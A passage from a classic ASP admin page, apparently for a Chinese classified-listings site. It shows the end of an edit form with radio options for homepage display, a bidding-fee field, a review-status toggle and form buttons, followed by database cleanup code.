873:                 <input type="radio" value="0" name="shouye" <%if shouye1="0" then%>checked<%end if%>>
874:                 否&nbsp;
875:                 <input type="radio" value="1" name="shouye" <%if shouye1="1" then%>checked<%end if%>>
876:                 是 <font color="#ff0000">(注:设置为此属性将在首页“滚动栏”处显示)</font></td>
877:             </tr>
878:             <tr bgcolor="#FFFFFF">
879:               <td height="26" align="right">是否图片推荐信息:</td>
880:               <td height="26" colspan="2">
881:                 <input type="radio" value="0" name="hotpoto" <%if hotpoto1="0" then%>checked<%end if%>>
882:                 否&nbsp;
883:                 <input type="radio" value="1" name="hotpoto" <%if hotpoto1="1" then%>checked<%end if%>>
884:                 是 <font color="#ff0000">(注:显示到首页"图片推荐信息"处,一共三副图片位)</font></td>
885:             </tr>
886:             <tr bgcolor="#FFFFFF">
887:               <td height="26" align="right">是否图文信息:</td>
888:               <td height="26" colspan="2">
889:                 <input type="radio" value="0" name="lift" <%if lift1="0" then%>checked<%end if%>>
890:                 否&nbsp;
891:                 <input type="radio" value="1" name="lift" <%if lift1="1" then%>checked<%end if%>>
892:                 是 <font color="#FF0000">(注:是否在首页右侧显示为图片及文字混合显示,如:旅游出行/餐饮美食/装修装饰)</font></td>
893:             </tr>
894:             <tr bgcolor="#FFFFFF">
895:               <td height="26" align="right">热点分类信息:</td>
896:               <td height="26" colspan="2">
897:                 <input type="radio" value="0" name="hot" <%if hot1="0" then%>checked<%end if%>>
898:                 否&nbsp;
899:                 <input type="radio" value="1" name="hot" <%if hot1="1" then%>checked<%end if%>>
900:                 是 <font color="#ff0000">(注:设置为此属性将在首页“热点分类信息”处显示)</font></td>
901:             </tr>
902:             <tr bgcolor="#FFFFFF">
903:               <td height="26" align="right">竟价费用:</td>
904:               <td height="26" colspan="2">
905:                 <input name="dmoney" size="15" maxlength="50" value="<%=money%>">
906:                 元 <font color="#ff0000">(注:金额越大,排列位置越靠前)</font></td>
907:             </tr>
908:             <tr bgcolor="#FFFFFF">
909:               <td height="26" align="right">审核:</td>
910:               <td height="26" colspan="2">
911:                 <input name="mark" type="radio" value="no" <%If mark1="no" Then%>checked<%End If%>>
912:                 未审核
913:                 <input type="radio" name="mark" value="yes" <%If mark1="yes" Then%>checked<%End If%>>
914:                 已审核</td>
915:             </tr>
916:             <tr bgcolor="#FFFFFF">
917:               <td height="30" align="right"> </td>
918:               <td height="30" colspan="2" align="right">
919:                 <p align="left">
920:                   <input type="submit" value="修改" name="submit">
921:                   &nbsp;
922:                   <input type="reset" value="取消" name="reset">
923:                   &nbsp;
924:                   <input type="button" value="返回" name="back" onclick="javascript:history.back()">
925:               </td>
926:             </tr>
927:           </table>
928:       </form>
929:       <br>    </td>
930:   </tr>
931: </table>
932: </div>
933: <br>                                                                                                                      
934: </body>
935: </html>                    
936: <%rs.close                      
937: set rs=nothing                                                                                                        
938: conn.close                      
939: set conn=nothing%
>
940:
941:
942: